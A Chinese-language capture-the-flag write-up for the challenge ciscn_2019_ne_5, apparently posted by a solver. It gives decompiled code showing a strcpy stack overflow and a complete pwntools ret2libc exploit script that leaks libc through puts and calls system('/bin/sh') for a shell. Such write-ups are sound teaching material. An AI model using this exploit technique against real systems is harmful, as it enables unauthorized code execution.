题目链接:ciscn_2019_ne_5。
下载附件后,使用 IDA 反编译,定位到主要函数,如下。
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{int result; // eaxint v4; // [esp+0h] [ebp-100h] BYREFchar src[4]; // [esp+4h] [ebp-FCh] BYREFchar v6[124]; // [esp+8h] [ebp-F8h] BYREFchar s1[4]; // [esp+84h] [ebp-7Ch] BYREFchar v8[96]; // [esp+88h] [ebp-78h] BYREFint *p_argc; // [esp+F4h] [ebp-Ch]p_argc = &argc;setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);fflush(stdout);*(_DWORD *)s1 = 48;memset(v8, 0, sizeof(v8));*(_DWORD *)src = 48;memset(v6, 0, sizeof(v6));puts("Welcome to use LFS.");printf("Please input admin password:");__isoc99_scanf("%100s", s1);if ( strcmp(s1, "administrator") ){puts("Password Error!");exit(0);}puts("Welcome!");while ( 1 ){puts("Input your operation:");puts("1.Add a log.");puts("2.Display all logs.");puts("3.Print all logs.");printf("0.Exit\n:");__isoc99_scanf("%d", &v4);switch ( v4 ){case 0:exit(0);return result;case 1:AddLog(src);break;case 2:Display(src);break;case 3:Print();break;case 4:GetFlag(src);break;default:continue;}}
}
其中漏洞存在于 AddLog 函数与 GetFlag 函数,两个函数的代码如下。
int __cdecl AddLog(int a1)
{printf("Please input new log info:");return __isoc99_scanf("%128s", a1);
}
int __cdecl GetFlag(char *src)
{char dest[4]; // [esp+0h] [ebp-48h] BYREFchar v3[60]; // [esp+4h] [ebp-44h] BYREF*(_DWORD *)dest = 48;memset(v3, 0, sizeof(v3));strcpy(dest, src);return printf("The flag is your log:%s\n", dest);
}
解题思路:
- 通过 AddLog 函数,往栈中内容。
- 通过 GetFlag 函数,制造栈溢出。
- 通过劫持程序执行流,控制执行 puts 函数,泄露出 LIBC 基址。
- 调用 system 函数获取 Shell。
解题脚本如下。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *def pwn():# LOAD:080471AE aFflush db 'fflush',0# .text:08048933 retn# .text:08048520 ; void __usercall __noreturn start(int@<eax>, void (*)(void)@<edx>)p()sla('Please input admin password:', 'administrator')sla('Input your operation:', '1')sla('Please input new log info:', 76 * b'a' + p32(ELF_FILE.plt['puts']) + p32(0x08048522) + p32(ELF_FILE.got['printf']))sleep(1)sla('Input your operation:', '4')LIBC_ADDR = uu32(ru('\xF7')[-4:]) - LIBC_FILE.symbols['printf']leak("LIBC_ADDR", LIBC_ADDR)one = one_gadget(LIBC_ADDR)sla('Please input admin password:', 'administrator')sla('Input your operation:', '1')sla('Please input new log info:', 76 * b'a' + p32(ELF_FILE.plt['system']) + p32(0xAAAAAAAA) + p32(LIBC_ADDR + next(LIBC_FILE.search(b"/bin/sh\x00"))))sla('Input your operation:', '4')irt()pwn()
这里需要说明的是,在 buuoj 中,直接劫持执行代码:system("sh"); 是无法获得 Shell 的。
